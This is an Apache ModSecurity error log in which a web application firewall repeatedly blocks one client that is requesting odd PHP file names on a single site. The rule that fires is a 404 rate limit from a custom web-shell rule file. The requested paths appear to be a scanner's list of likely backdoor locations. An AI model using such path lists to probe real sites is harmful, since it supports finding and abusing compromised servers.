[Fri Feb 13 18:57:20.232653 2026] [:error] [pid 18097:tid 18111] [client 51.103.136.17:21785] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aY8DkHFzYiQ_BfaDDlYhhQAAAYw"]
[Fri Feb 13 18:57:20.742048 2026] [:error] [pid 49225:tid 49308] [client 51.103.136.17:23073] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aY8DkDwH8-zGxtAd3jv9QwAAAI4"]
[Fri Feb 13 18:57:21.225920 2026] [:error] [pid 49225:tid 49294] [client 51.103.136.17:56320] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aY8DkTwH8-zGxtAd3jv9RAAAAIA"]
[Fri Feb 13 18:57:21.737193 2026] [:error] [pid 18097:tid 18118] [client 51.103.136.17:5352] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aY8DkXFzYiQ_BfaDDlYhiAAAAZM"]
[Fri Feb 13 18:57:22.267035 2026] [:error] [pid 49223:tid 49256] [client 51.103.136.17:46637] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aY8Dkh8A_fZBamNLnfVMCgAAABg"]
[Fri Feb 13 18:57:22.828582 2026] [:error] [pid 18097:tid 18119] [client 51.103.136.17:43631] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aY8DknFzYiQ_BfaDDlYhigAAAZQ"]
[Fri Feb 13 18:57:23.362470 2026] [:error] [pid 47143:tid 47217] [client 51.103.136.17:36337] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aY8Dk8hV30NbMarHJLs5OAAAAkM"]
[Fri Feb 13 18:57:23.909176 2026] [:error] [pid 51243:tid 51249] [client 51.103.136.17:36290] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aY8Dk8im7ZTAHzi7xZvBtQAAAQQ"]
[Fri Feb 13 18:57:24.435539 2026] [:error] [pid 47575:tid 47595] [client 51.103.136.17:20714] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aY8DlAIPBuXb07mA_mS7nQAAAs4"]
[Fri Feb 13 18:57:24.927298 2026] [:error] [pid 47080:tid 47094] [client 51.103.136.17:53491] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aY8DlEbWJwYCVF39z6syqgAAAcY"]
[Fri Feb 13 18:57:25.415748 2026] [:error] [pid 49335:tid 49347] [client 51.103.136.17:60674] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aY8Dlap--SFY2nwOiqle0AAAAMo"]
[Fri Feb 13 18:57:25.961181 2026] [:error] [pid 47143:tid 47233] [client 51.103.136.17:50980] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aY8DlchV30NbMarHJLs5PAAAAlM"]
[Fri Feb 13 18:57:26.454755 2026] [:error] [pid 49223:tid 49234] [client 51.103.136.17:36352] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aY8Dlh8A_fZBamNLnfVMDgAAAAI"]
[Fri Feb 13 18:57:26.974617 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:60719] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aY8Dlh8A_fZBamNLnfVMDwAAAAQ"]
[Fri Feb 13 18:57:27.478068 2026] [:error] [pid 51243:tid 51257] [client 51.103.136.17:38598] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aY8Dl8im7ZTAHzi7xZvBuAAAAQw"]
[Fri Feb 13 18:57:27.955423 2026] [:error] [pid 46821:tid 46838] [client 51.103.136.17:21821] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aY8Dl46G1N5YSq0J0gcHtwAAAU8"]
[Fri Feb 13 18:57:34.697437 2026] [:error] [pid 18097:tid 18115] [client 51.103.136.17:52678] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8DnnFzYiQ_BfaDDlYhnAAAAZA"]
[Fri Feb 13 18:57:35.180417 2026] [:error] [pid 47358:tid 47361] [client 51.103.136.17:45988] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8Dn8QFBuVVUQTESUwHUgAAAoA"]
[Fri Feb 13 18:57:35.670934 2026] [:error] [pid 49335:tid 49347] [client 51.103.136.17:25595] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8Dn6p--SFY2nwOiqle2gAAAMo"]
[Fri Feb 13 18:57:36.147487 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:39351] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8DoB8A_fZBamNLnfVMIgAAAA4"]
[Fri Feb 13 18:57:36.617430 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:45967] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aY8DoB8A_fZBamNLnfVMJAAAAAY"]
[Fri Feb 13 18:57:37.090530 2026] [:error] [pid 49225:tid 49314] [client 51.103.136.17:36376] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aY8DoTwH8-zGxtAd3jv9TwAAAJQ"]
[Fri Feb 13 18:57:37.574188 2026] [:error] [pid 47080:tid 47104] [client 51.103.136.17:44501] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aY8DoUbWJwYCVF39z6syugAAAdA"]
[Fri Feb 13 18:57:38.045567 2026] [:error] [pid 49223:tid 49251] [client 51.103.136.17:52271] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aY8Doh8A_fZBamNLnfVMJgAAABM"]
[Fri Feb 13 18:57:38.518783 2026] [:error] [pid 47575:tid 47589] [client 51.103.136.17:5303] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aY8DogIPBuXb07mA_mS7qQAAAsk"]
[Fri Feb 13 18:57:39.008711 2026] [:error] [pid 49335:tid 49359] [client 51.103.136.17:56369] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aY8Do6p--SFY2nwOiqle3gAAANY"]
[Fri Feb 13 18:57:39.491300 2026] [:error] [pid 49223:tid 49255] [client 51.103.136.17:21800] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aY8Dox8A_fZBamNLnfVMKQAAABc"]
[Fri Feb 13 18:57:39.975665 2026] [:error] [pid 18097:tid 18119] [client 51.103.136.17:33874] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aY8Do3FzYiQ_BfaDDlYhoQAAAZQ"]
[Fri Feb 13 18:57:40.448421 2026] [:error] [pid 47575:tid 47590] [client 51.103.136.17:21808] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aY8DpAIPBuXb07mA_mS7qwAAAso"]
[Fri Feb 13 18:57:40.924303 2026] [:error] [pid 47358:tid 47373] [client 51.103.136.17:21768] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aY8DpMQFBuVVUQTESUwHVAAAAog"]
[Fri Feb 13 18:57:41.433741 2026] [:error] [pid 47575:tid 47601] [client 51.103.136.17:60863] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aY8DpQIPBuXb07mA_mS7rQAAAtQ"]
[Fri Feb 13 18:57:41.910170 2026] [:error] [pid 49225:tid 49311] [client 51.103.136.17:45995] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aY8DpTwH8-zGxtAd3jv9UQAAAJE"]
[Fri Feb 13 18:57:42.405164 2026] [:error] [pid 47358:tid 47363] [client 51.103.136.17:33090] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8DpsQFBuVVUQTESUwHVwAAAoI"]
[Fri Feb 13 18:57:42.876641 2026] [:error] [pid 47143:tid 47216] [client 51.103.136.17:44532] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8DpshV30NbMarHJLs5RgAAAkI"]
[Fri Feb 13 18:57:43.348045 2026] [:error] [pid 47143:tid 47222] [client 51.103.136.17:58303] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8Dp8hV30NbMarHJLs5RwAAAkg"]
[Fri Feb 13 18:57:43.818849 2026] [:error] [pid 47080:tid 47101] [client 51.103.136.17:20684] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aY8Dp0bWJwYCVF39z6sy2QAAAc0"]
[Fri Feb 13 18:57:44.289214 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:25526] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aY8DqEbWJwYCVF39z6sy3QAAAcM"]
[Fri Feb 13 18:57:44.765272 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:20638] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aY8DqMhV30NbMarHJLs5SQAAAkw"]
[Fri Feb 13 18:57:45.235705 2026] [:error] [pid 51243:tid 51258] [client 51.103.136.17:43548] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aY8Dqcim7ZTAHzi7xZvBwwAAAQ0"]
[Fri Feb 13 18:57:45.706236 2026] [:error] [pid 46821:tid 46837] [client 51.103.136.17:49613] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aY8DqY6G1N5YSq0J0gcHwgAAAU4"]
[Fri Feb 13 18:57:46.194844 2026] [:error] [pid 47143:tid 47219] [client 51.103.136.17:43584] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aY8DqshV30NbMarHJLs5SgAAAkU"]
[Fri Feb 13 18:57:46.667257 2026] [:error] [pid 49223:tid 49237] [client 51.103.136.17:38654] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aY8Dqh8A_fZBamNLnfVMVAAAAAU"]
[Fri Feb 13 18:57:47.141212 2026] [:error] [pid 49335:tid 49356] [client 51.103.136.17:61809] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aY8Dq6p--SFY2nwOiqle-wAAANM"]
[Fri Feb 13 18:57:47.612943 2026] [:error] [pid 49225:tid 49317] [client 51.103.136.17:61781] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aY8DqzwH8-zGxtAd3jv9VQAAAJc"]
[Fri Feb 13 18:57:48.092141 2026] [:error] [pid 49225:tid 49310] [client 51.103.136.17:33098] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aY8DrDwH8-zGxtAd3jv9VgAAAJA"]
[Fri Feb 13 18:57:48.569097 2026] [:error] [pid 51243:tid 51268] [client 51.103.136.17:58268] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aY8DrMim7ZTAHzi7xZvBxwAAARc"]
[Fri Feb 13 18:57:49.040655 2026] [:error] [pid 49225:tid 49295] [client 51.103.136.17:58252] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aY8DrTwH8-zGxtAd3jv9VwAAAIE"]
[Fri Feb 13 18:57:49.513460 2026] [:error] [pid 49225:tid 49294] [client 51.103.136.17:5346] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aY8DrTwH8-zGxtAd3jv9WAAAAIA"]
[Fri Feb 13 18:57:49.989043 2026] [:error] [pid 47080:tid 47098] [client 51.103.136.17:23710] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aY8DrUbWJwYCVF39z6sy6wAAAco"]
[Fri Feb 13 18:57:50.460685 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:21795] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aY8Drh8A_fZBamNLnfVMVgAAAAQ"]
[Fri Feb 13 18:57:50.943700 2026] [:error] [pid 18097:tid 18115] [client 51.103.136.17:60210] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aY8DrnFzYiQ_BfaDDlYhzgAAAZA"]
[Fri Feb 13 18:57:51.418823 2026] [:error] [pid 47080:tid 47092] [client 51.103.136.17:20666] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aY8Dr0bWJwYCVF39z6sy7QAAAcQ"]
[Fri Feb 13 18:57:51.892049 2026] [:error] [pid 49223:tid 49235] [client 51.103.136.17:48661] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aY8Drx8A_fZBamNLnfVMWAAAAAM"]
[Fri Feb 13 18:57:52.373747 2026] [:error] [pid 47575:tid 47605] [client 51.103.136.17:21831] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aY8DsAIPBuXb07mA_mS7uAAAAtg"]
[Fri Feb 13 18:57:52.847044 2026] [:error] [pid 49225:tid 49308] [client 51.103.136.17:29504] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aY8DsDwH8-zGxtAd3jv9WwAAAI4"]
[Fri Feb 13 18:57:53.317308 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:48685] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aY8DsR8A_fZBamNLnfVMWgAAAAY"]
